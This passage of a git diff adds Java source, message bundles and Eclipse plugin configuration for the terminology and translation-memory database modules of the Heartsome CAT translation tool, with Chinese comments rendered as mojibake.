termWords.size(); + if (termSize == 0) { + return false; + } + + if (termSize == 1) { + if (srcWord.indexOf(termWords.get(0).toLowerCase()) != -1) { + return true; + } else { + return false; + } + } + + int sIndex = srcWord.indexOf(termWords.get(0).toLowerCase(), 0); + while (sIndex != -1 && sIndex + termSize - 1 < srcWord.size()) { // 有开始并且长度够 + // 从术语长度处å–结尾å•è¯æ¯”较是å¦ç›¸åŒ + if (srcWord.get(sIndex + termSize - 1).equalsIgnoreCase(termWords.get(termSize - 1))) { + boolean isTerm = true; + for (int i = 1, size = termSize - 1; i < size; i++) { + if (!srcWord.get(sIndex + i).equalsIgnoreCase(termWords.get(i))) { + isTerm = false; + break; + } + } + if (isTerm) { + return true; + } + } + sIndex = srcWord.indexOf(termWords.get(0).toLowerCase(), sIndex + 1); + } + return false; + } + + /** + * 对术语按字数或å•è¯æ•°è¿›è¡Œä»Žé•¿åˆ°çŸ­çš„é™åºæŽ’列,方便正确替æ¢ã€‚ + */ + public static Vector> sortTerms(Vector> terms, String srcLang) { + Vector> result = new Vector>(); + int maxLength = 0; + + TreeMap>> termMap = new TreeMap>>(); + // 先按术语在原文中的顺åºæŽ’åº + for (Hashtable term : terms) { + int index = Integer.parseInt(term.get("index")); + if (termMap.get(index) == null) { + termMap.put(index, new Vector>()); + } + termMap.get(index).add(term); + } + + Hashtable>> groupTerms = new Hashtable>>(); + for (Entry>> entry : termMap.entrySet()) { + groupTerms.clear(); + Vector> termVector = entry.getValue(); + // 按å•è¯æ•°é‡æ¥æŽ’åº + for (int i = 0, size = termVector.size(); i < size; i++) { + Hashtable term = termVector.get(i); + + int termSize = Integer.parseInt(term.get("WordSize")); + if (termSize > maxLength) { + maxLength = termSize; + } + Vector> sameSizeTerms = groupTerms.get(termSize); + if (sameSizeTerms == null) { + sameSizeTerms = new Vector>(); + } + sameSizeTerms.add(term); + groupTerms.put(termSize, sameSizeTerms); + } + + // 按字符数é‡æ¥æŽ’åº + for (int key = maxLength; key > 0; key--) { + Vector> partOfTerms = groupTerms.get(key); + if (partOfTerms == null) { + continue; + } + + // 如果åŒæ ·å•è¯æ•°é‡çš„术语åªæœ‰ä¸€ä¸ªï¼Œåˆ™æ— é¡»æŒ‰å­—符长度å†æŽ’åº + if (partOfTerms.size() == 1) { + result.addAll(partOfTerms); + continue; + } + + // 当åŒæ ·å•è¯æ•°é‡çš„术语超过一个时,按字符长度å†æŽ’åº + Hashtable>> charsGroupTerms = new Hashtable>>(); + int maxChars = 0; + for (int i = 0, size = partOfTerms.size(); i < size; i++) { + Hashtable term = partOfTerms.get(i); + int charCount = Integer.parseInt(term.get("CharLength")); + maxChars = maxChars > charCount ? maxChars : charCount; + + Vector> tmpTerms = charsGroupTerms.get(charCount); + if (tmpTerms == null) { + tmpTerms = new Vector>(); + } + + tmpTerms.add(term); + charsGroupTerms.put(charCount, tmpTerms); + } + + for (int charKey = maxChars; charKey > 0; charKey--) { + Vector> charPartOfTerms = charsGroupTerms.get(charKey); + if (charPartOfTerms == null) { + continue; + } + result.addAll(charPartOfTerms); + } + } + } + return result; + } + + public void clearResources() { + srcPureText = ""; + srcLanguage = ""; + tgtLanguage = ""; + isSort = false; + termDbOpManager.clearResource(); + } + + private static void resetCleanTerms(Vector> terms) { + for (Hashtable term : terms) { + String srcWord = term.get("srcWord"); + String tgtWord = term.get("tgtWord"); + + String srcWord_new = resetCleanString(srcWord); + String tgtWord_new = resetCleanString(tgtWord); + if (!srcWord_new.equals(srcWord)) { + term.put("srcWord", srcWord_new); + } + if (!tgtWord_new.equals(tgtWord)) { + term.put("tgtWord", tgtWord_new); + } + } + + } + + private static String resetCleanString(String string) { + string = string.replaceAll("<", "<"); + string = string.replaceAll(">", ">"); + // string = string.replaceAll(""", "\""); + string = string.replaceAll("&", "&"); + + return string; + } + + public boolean checkTbMatcher(IProject project) { + this.setProject(project); + if (termDbOpManager.getDbOperatorList().size() == 0) { + return false; + } + return true; + } + + /** + * 如果结果è¦åŒºåˆ†å¤§å°å†™ + * @param terms + * @param caseSensitive + * ; + */ + private void doWithQueryResultsCaseSensitive(Vector> terms, String pureText) { + Iterator> iterator = terms.iterator(); + while(iterator.hasNext()){ + Hashtable item = iterator.next(); + String srcWord = item.get("srcWord"); + if (!pureText.contains(srcWord)) { + iterator.remove(); + } + } + } +} diff --git a/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/resource/Messages.java b/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/resource/Messages.java new file mode 100644 index 0000000..7a2020c --- /dev/null +++ b/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/resource/Messages.java @@ -0,0 +1,40 @@ +package net.heartsome.cat.database.tb.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.database.tb.resource.message"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/resource/message.properties b/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/resource/message.properties new file mode 100644 index 0000000..e1e0bed --- /dev/null +++ b/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/resource/message.properties @@ -0,0 +1,4 @@ +tb.TbDbOperatorManager.logger1 = [LOG] \u6570\u636e\u5e93\u542f\u52a8\u5931\u8d25 ({0})\uff1a{1} +tb.TbDbOperatorManager.logger2 = [LOG] \u7ffb\u8bd1\u8fc7\u7a0b\u4e2d\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519\uff1a +importer.TbImporter.logger1 = [LOG] \u6570\u636e\u5e93\u542f\u52a8\u5931\u8d25 ({0})\uff1a{1}\u3002 +importer.TbImporter.logger2 = [LOG] \u5165\u5e93\u8fc7\u7a0b\u4e2d\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519\uff1a \ No newline at end of file diff --git a/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/resource/message_en.properties b/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/resource/message_en.properties new file mode 100644 index 0000000..00eaa05 --- /dev/null +++ b/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/resource/message_en.properties @@ -0,0 +1,4 @@ +tb.TbDbOperatorManager.logger1 = [LOG] \u6570\u636e\u5e93\u542f\u52a8\u5931\u8d25 ({0})\uff1a{1} +tb.TbDbOperatorManager.logger2 = [LOG] \u7ffb\u8bd1\u8fc7\u7a0b\u4e2d\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519\uff1a +importer.TbImporter.logger1 = [LOG] \u6570\u636e\u5e93\u542f\u52a8\u5931\u8d25 ({0})\uff1a{1}\u3002 +importer.TbImporter.logger2 = [LOG] \u5165\u5e93\u8fc7\u7a0b\u4e2d\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519\uff1a diff --git a/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/resource/message_zh.properties b/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/resource/message_zh.properties new file mode 100644 index 0000000..e1e0bed --- /dev/null +++ b/database/net.heartsome.cat.database.tb/src/net/heartsome/cat/database/tb/resource/message_zh.properties @@ -0,0 +1,4 @@ +tb.TbDbOperatorManager.logger1 = [LOG] \u6570\u636e\u5e93\u542f\u52a8\u5931\u8d25 ({0})\uff1a{1} +tb.TbDbOperatorManager.logger2 = [LOG] \u7ffb\u8bd1\u8fc7\u7a0b\u4e2d\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519\uff1a +importer.TbImporter.logger1 = [LOG] \u6570\u636e\u5e93\u542f\u52a8\u5931\u8d25 ({0})\uff1a{1}\u3002 +importer.TbImporter.logger2 = [LOG] \u5165\u5e93\u8fc7\u7a0b\u4e2d\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519\uff1a \ No newline at end of file diff --git a/database/net.heartsome.cat.database.tm/.classpath b/database/net.heartsome.cat.database.tm/.classpath new file mode 100644 index 0000000..2d1a430 --- /dev/null +++ b/database/net.heartsome.cat.database.tm/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/database/net.heartsome.cat.database.tm/.project b/database/net.heartsome.cat.database.tm/.project new file mode 100644 index 0000000..bc5a2eb --- /dev/null +++ b/database/net.heartsome.cat.database.tm/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.database.tm + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/database/net.heartsome.cat.database.tm/.settings/org.eclipse.jdt.core.prefs b/database/net.heartsome.cat.database.tm/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/database/net.heartsome.cat.database.tm/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/database/net.heartsome.cat.database.tm/META-INF/MANIFEST.MF b/database/net.heartsome.cat.database.tm/META-INF/MANIFEST.MF new file mode 100644 index 0000000..4ee7a59 --- /dev/null +++ b/database/net.heartsome.cat.database.tm/META-INF/MANIFEST.MF @@ -0,0 +1,22 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Database TM +Bundle-SymbolicName: net.heartsome.cat.database.tm;singleton:=true +Require-Bundle: org.eclipse.core.runtime;bundle-version="3.7.0", + org.eclipse.jface;bundle-version="3.7.0", + org.eclipse.core.resources;bundle-version="3.7.100", + net.heartsome.cat.database;bundle-version="1.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + org.eclipse.ui.workbench;bundle-version="3.7.0", + net.heartsome.cat.database.ui.tm;bundle-version="1.0.0" +Import-Package: net.heartsome.cat.common.bean, + net.heartsome.cat.common.core.exception, + net.heartsome.cat.common.util, + net.heartsome.cat.ts.core, + net.heartsome.cat.ts.core.file, + net.heartsome.cat.ts.tm.bean, + net.heartsome.cat.ts.tm.importer.extension, + net.heartsome.cat.ts.tm.match.extension +Bundle-Version: 8.0.2.R8b_v20130428 +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/database/net.heartsome.cat.database.tm/build.properties b/database/net.heartsome.cat.database.tm/build.properties new file mode 100644 index 0000000..66927d0 --- /dev/null +++ b/database/net.heartsome.cat.database.tm/build.properties @@ -0,0 +1,6 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml diff --git a/database/net.heartsome.cat.database.tm/plugin.xml b/database/net.heartsome.cat.database.tm/plugin.xml new file mode 100644 index 0000000..6c2df40 --- /dev/null +++ b/database/net.heartsome.cat.database.tm/plugin.xml @@ -0,0 +1,17 @@ + + + + + + + + + + + + + diff --git a/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/TmDbOperatorManager.java b/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/TmDbOperatorManager.java new file mode 100644 index 0000000..7aa7a1c --- /dev/null +++ b/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/TmDbOperatorManager.java @@ -0,0 +1,158 @@ +/** + * DbConnectionManager.java + * + * Version information : + * + * Date:2012-4-26 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.tm; + +import java.sql.SQLException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.tm.resource.Messages; +import net.heartsome.cat.ts.core.IProjectConfigChangedListener; +import net.heartsome.cat.ts.core.file.ProjectConfiger; +import net.heartsome.cat.ts.core.file.ProjectConfigerFactory; + +import org.eclipse.core.resources.IProject; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * æ•°æ®åº“连接管ç†å™¨ + * @author jason + * @version + * @since JDK1.6 + */ +public class TmDbOperatorManager implements IProjectConfigChangedListener { + + public final static Logger logger = LoggerFactory.getLogger(TmDbOperatorManager.class); + + private IProject currentProj; + + private ProjectConfiger projConfiger; + + private List dbOpList; + + /** 默认记忆库å称,匹é…排åºæ—¶éœ€è¦ä½¿ç”¨ */ + private String defaultDbInfo; + + public TmDbOperatorManager() { + dbOpList = new ArrayList(); + } + + /** + * è®¾ç½®é¡¹ç›®ä¿¡æ¯ + * @param project + * ; + */ + public void setProject(IProject project) { + if (currentProj == null) { + currentProj = project; + } else if (project != null && !project.getName().equals(currentProj.getName())) { + currentProj = project; + } else { + return; + } + + if (currentProj != null) { + projConfiger = ProjectConfigerFactory.getProjectConfiger(currentProj); + projConfiger.addChangeListener(this); + loadTmDbConn(); + } + } + + public IProject getProject() { + return currentProj; + } + + public void handProjectConfigChangedEvent() { + loadTmDbConn(); + } + + /** + * 加载连接 ; + */ + private void loadTmDbConn() { + releaseTmDbConn(); // 加载连接å‰å…ˆé‡Šæ”¾å·²ç»å­˜åœ¨è¿žæŽ¥ + + if (projConfiger != null) { + List tmDbConfigList = projConfiger.getAllTmDbs(); + for (int i = 0; i < tmDbConfigList.size(); i++) { + DatabaseModelBean dmb = tmDbConfigList.get(i); + DBOperator db = DatabaseService.getDBOperator(dmb.toDbMetaData()); + if(null == db){ + continue; + } + try { + db.start(); + if (dmb.isDefault()) { + defaultDbInfo = dmb.getDbName(); + this.dbOpList.add(0, db); + } else { + this.dbOpList.add(db); + } + } catch (Exception e) { + logger.error(MessageFormat.format(Messages.getString("tm.TmDbOperatorManager.logger1"), + dmb.getDbType(), dmb.getDbName()), e); + } + + } + } + } + + /** + * 释放连接 ; + */ + private void releaseTmDbConn() { + for (DBOperator dbop : dbOpList) { + try { + if (dbop != null) { + dbop.end(); + } + } catch (SQLException e) { + logger.error(Messages.getString("tm.TmDbOperatorManager.logger2") + + dbop.getMetaData().getDatabaseName(), e); + continue; // 继续释放其他数æ®åº“èµ„æº + } + } + dbOpList.clear(); + defaultDbInfo = null; + } + + public List getDbOperatorList() { + return this.dbOpList; + } + + /** + * é‡Šæ”¾èµ„æº ; + */ + public void clearResources() { + releaseTmDbConn(); + currentProj = null; + defaultDbInfo = null; + if (projConfiger != null) { + projConfiger.removeChangeListener(this); + } + projConfiger = null; + } + + /** + * Get default translation memory database name + * @return ; + */ + public String getDefaultDbName() { + return this.defaultDbInfo; + } +} diff --git a/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/TmTransParamsBean.java b/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/TmTransParamsBean.java new file mode 100644 index 0000000..ea1bafa --- /dev/null +++ b/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/TmTransParamsBean.java @@ -0,0 +1,194 @@ +/** + * TmTransParamsBean.java + * + * Version information : + * + * Date:2012-4-28 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.tm; + +import java.beans.PropertyChangeEvent; + +import net.heartsome.cat.database.bean.TMPreferenceConstants; +import net.heartsome.cat.database.ui.tm.Activator; + +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.util.IPropertyChangeListener; + +/** + * 记忆库匹é…å‚æ•° + * @author jason + * @version + * @since JDK1.6 + */ +public class TmTransParamsBean implements IPropertyChangeListener { + private int maxMatchSize = 0; + private int contextSize = 0; + private int minSimilarity = 0; + private int tagPenalty = 2; + private boolean isCaseSensitive = false; + private boolean isIgnoreTag = false; + private int tmUpdateStrategy = 0; + private IPreferenceStore preferenceStore; + + private int matchSortStrategry = 0; + + public TmTransParamsBean() { + preferenceStore = Activator.getDefault().getPreferenceStore(); + preferenceStore.addPropertyChangeListener(this); + loadPreference(); + } + + public TmTransParamsBean(int maxMatchSize, boolean isIgnoreTag, int minSimilarity, boolean isCaseSensitive, + int contextSize, int tagPenalty) { + this.maxMatchSize = maxMatchSize; + this.contextSize = contextSize; + this.minSimilarity = minSimilarity; + this.isCaseSensitive = isCaseSensitive; + this.isIgnoreTag = isIgnoreTag; + this.tagPenalty = tagPenalty; + } + + public void propertyChange(PropertyChangeEvent event) { + loadPreference(); + } + + private void loadPreference() { + this.isCaseSensitive = preferenceStore.getBoolean(TMPreferenceConstants.CASE_SENSITIVE); + this.isIgnoreTag = preferenceStore.getBoolean(TMPreferenceConstants.IGNORE_MARK); + this.minSimilarity = preferenceStore.getInt(TMPreferenceConstants.MIN_MATCH); + this.maxMatchSize = preferenceStore.getInt(TMPreferenceConstants.MAX_MATCH_NUMBER); + this.contextSize = preferenceStore.getInt(TMPreferenceConstants.CONTEXT_MATCH); + this.tmUpdateStrategy = preferenceStore.getInt(TMPreferenceConstants.TM_UPDATE); + this.matchSortStrategry = preferenceStore.getInt(TMPreferenceConstants.MATCH_PERCENTAGE_SORT_WITH_EQUAL); + this.tagPenalty = preferenceStore.getInt(TMPreferenceConstants.TAG_PENALTY); + } + + /** @return the maxMatchSize */ + public int getMaxMatchSize() { + return maxMatchSize; + } + + /** + * @param maxMatchSize + * the maxMatchSize to set + */ + public void setMaxMatchSize(int maxMatchSize) { + this.maxMatchSize = maxMatchSize; + } + + /** @return the contextSize */ + public int getContextSize() { + return contextSize; + } + + /** + * @param contextSize + * the contextSize to set + */ + public void setContextSize(int contextSize) { + this.contextSize = contextSize; + } + + /** @return the minSimilarity */ + public int getMinSimilarity() { + return minSimilarity; + } + + /** + * @param minSimilarity + * the minSimilarity to set + */ + public void setMinSimilarity(int minSimilarity) { + this.minSimilarity = minSimilarity; + } + + /** @return the isCaseSensitive */ + public boolean isCaseSensitive() { + return isCaseSensitive; + } + + /** + * @param isCaseSensitive + * the isCaseSensitive to set + */ + public void setCaseSensitive(boolean isCaseSensitive) { + this.isCaseSensitive = isCaseSensitive; + } + + /** @return the isIgnoreTaget */ + public boolean isIgnoreTag() { + return isIgnoreTag; + } + + /** + * @param isIgnoreTaget + * the isIgnoreTaget to set + */ + public void setIgnoreTaget(boolean isIgnoreTaget) { + this.isIgnoreTag = isIgnoreTaget; + } + + /** @return the tmUpdateStrategy */ + public int getTmUpdateStrategy() { + return tmUpdateStrategy; + } + + /** + * @param tmUpdateStrategy + * the tmUpdateStrategy to set + */ + public void setTmUpdateStrategy(int tmUpdateStrategy) { + this.tmUpdateStrategy = tmUpdateStrategy; + } + + /** + * @param isIgnoreTag + * the isIgnoreTag to set + */ + public void setIgnoreTag(boolean isIgnoreTag) { + this.isIgnoreTag = isIgnoreTag; + } + + public void propertyChange(org.eclipse.jface.util.PropertyChangeEvent event) { + loadPreference(); + } + + /** @return the matchSortStrategry */ + public int getMatchSortStrategry() { + return matchSortStrategry; + } + + /** @return the tagPenalty */ + public int getTagPenalty() { + return tagPenalty; + } + + /** + * @param tagPelanty + * the tagPenalty to set + */ + public void setTagPenalty(int tagPelanty) { + this.tagPenalty = tagPelanty; + } + + /** + * @param matchSortStrategry + * the matchSortStrategry to set + */ + public void setMatchSortStrategry(int matchSortStrategry) { + this.matchSortStrategry = matchSortStrategry; + } + + public void clearResources() { + if (preferenceStore != null) { + this.preferenceStore.removePropertyChangeListener(this); + } + } + +} diff --git a/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/importer/TmImporter.java b/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/importer/TmImporter.java new file mode 100644 index 0000000..13c56d3 --- /dev/null +++ b/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/importer/TmImporter.java @@ -0,0 +1,149 @@ +/** + * TmImporter.java + * + * Version information : + * + * Date:2012-5-4 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.tm.importer; + +import java.sql.SQLException; +import java.text.MessageFormat; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.core.exception.ImportException; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.tm.TmTransParamsBean; +import net.heartsome.cat.database.tm.resource.Messages; +import net.heartsome.cat.ts.core.IProjectConfigChangedListener; +import net.heartsome.cat.ts.core.file.ProjectConfiger; +import net.heartsome.cat.ts.core.file.ProjectConfigerFactory; +import net.heartsome.cat.ts.tm.importer.extension.ITmImporter; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.IProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class TmImporter implements ITmImporter, IProjectConfigChangedListener { + public static final Logger logger = LoggerFactory.getLogger(TmImporter.class); + + private ProjectConfiger projConfiger; + private IProject currentProj; + private DBOperator dbOp; + private TmTransParamsBean transParameters = new TmTransParamsBean(); + + /** + * + */ + public TmImporter() { + } + + /** + * (non-Javadoc) + * @throws ImportException + * @see net.heartsome.cat.ts.tm.importer.extension.ITmImporter#executeImport(java.lang.String) + */ + public int executeImport(String tmxContent, String srcLang, IProgressMonitor monitor) throws ImportException { + if (dbOp != null) { + int strategy = transParameters.getTmUpdateStrategy(); + // TODO 检查上下文 + int result = DatabaseService.importTmxWithString(dbOp, tmxContent, monitor, strategy, false, srcLang); + } else { + return IMPORT_STATE_NODB; + } + return IMPORT_STATE_SUCCESSED; + } + + public void setProject(IProject project) { + if (project == null) { + clearResources(); + return; + } + if (currentProj == null) { + currentProj = project; + } else if (project != null && !project.getName().equals(currentProj.getName())) { + currentProj = project; + } else { + return; + } + + if (currentProj != null) { + projConfiger = ProjectConfigerFactory.getProjectConfiger(currentProj); + projConfiger.addChangeListener(this); + loadTmDbConn(); + } + } + + public void handProjectConfigChangedEvent() { + loadTmDbConn(); + } + + /** + * 释放连接 ; + */ + private void releaseTmDbConn() { + if (dbOp != null) { + try { + dbOp.end(); + } catch (SQLException e) { + logger.error(Messages.getString("importer.TmImporter.logger1") + dbOp.getMetaData().getDatabaseName(), + e); + } + } + dbOp = null; + } + + /** + * 加载连接 ; + */ + private void loadTmDbConn() { + releaseTmDbConn(); // 加载连接å‰å…ˆé‡Šæ”¾å·²ç»å­˜åœ¨è¿žæŽ¥ + + if (projConfiger != null) { + DatabaseModelBean dmb = projConfiger.getDefaultTMDb(); + if (dmb != null) { + this.dbOp = DatabaseService.getDBOperator(dmb.toDbMetaData()); + try { + dbOp.start(); + } catch (Exception e) { + logger.error(MessageFormat.format(Messages.getString("importer.TmImporter.logger2"), + dmb.getDbType(), dmb.getDbName()), e); + dbOp = null; + } + } + } + } + + public void clearResources() { + this.releaseTmDbConn(); + if (projConfiger != null) + projConfiger.removeChangeListener(this); + // if (transParameters != null) + // transParameters.clearResources(); + currentProj = null; + } + + public int getContextSize() { + return transParameters.getContextSize(); + } + + public boolean checkImporter() { + if (dbOp != null) { + return true; + } + return false; + } + +} diff --git a/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/match/TmMatcher.java b/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/match/TmMatcher.java new file mode 100644 index 0000000..51684c8 --- /dev/null +++ b/database/net.heartsome.cat.database.tm/src/net/heartsome/cat/database/tm/match/TmMatcher.java @@ -0,0 +1,526 @@ +/** + * TmTranslation.java + * + * Version information : + * + * Date:2012-4-28 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.tm.match; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import java.sql.Timestamp; +import java.util.Arrays; +import java.util.Collections; +import java.util.Comparator; +import java.util.Hashtable; +import java.util.List; +import java.util.Vector; + +import net.heartsome.cat.common.bean.FuzzySearchResult; +import net.heartsome.cat.common.bean.TmxContexts; +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TranslationUnitAnalysisResult; +import net.heartsome.cat.common.util.DateUtils; +import net.heartsome.cat.database.DBOperator; +import net.heartsome.cat.database.Utils; +import net.heartsome.cat.database.bean.FuzzySearchResults; +import net.heartsome.cat.database.bean.TMPreferenceConstants; +import net.heartsome.cat.database.bean.TranslationUnitAnalysisResults; +import net.heartsome.cat.database.tm.TmDbOperatorManager; +import net.heartsome.cat.database.tm.TmTransParamsBean; +import net.heartsome.cat.database.tm.resource.Messages; +import net.heartsome.cat.ts.tm.match.extension.AbstractTmMatch; +import net.heartsome.cat.ts.tm.match.extension.ITmMatch; + +import org.eclipse.core.resources.IProject; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class TmMatcher extends AbstractTmMatch implements ITmMatch { + + private TmDbOperatorManager tmDbOperatorManager; + private TmTransParamsBean transParameters; + + public TmMatcher() { + transParameters = new TmTransParamsBean(); + tmDbOperatorManager = new TmDbOperatorManager(); + } + + public boolean checkTmMatcher(IProject project) { + this.setProject(project); + if (tmDbOperatorManager.getDbOperatorList().size() == 0) { + return false; + } + return true; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.ui.translation.ITmMatch.ITmTranslation#setProject(org.eclipse.core.resources.IProject) + */ + public void setProject(IProject project) { + tmDbOperatorManager.setProject(project); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.ui.translation.ITmMatch.ITmTranslation#getMaxMatchSize() + */ + public int 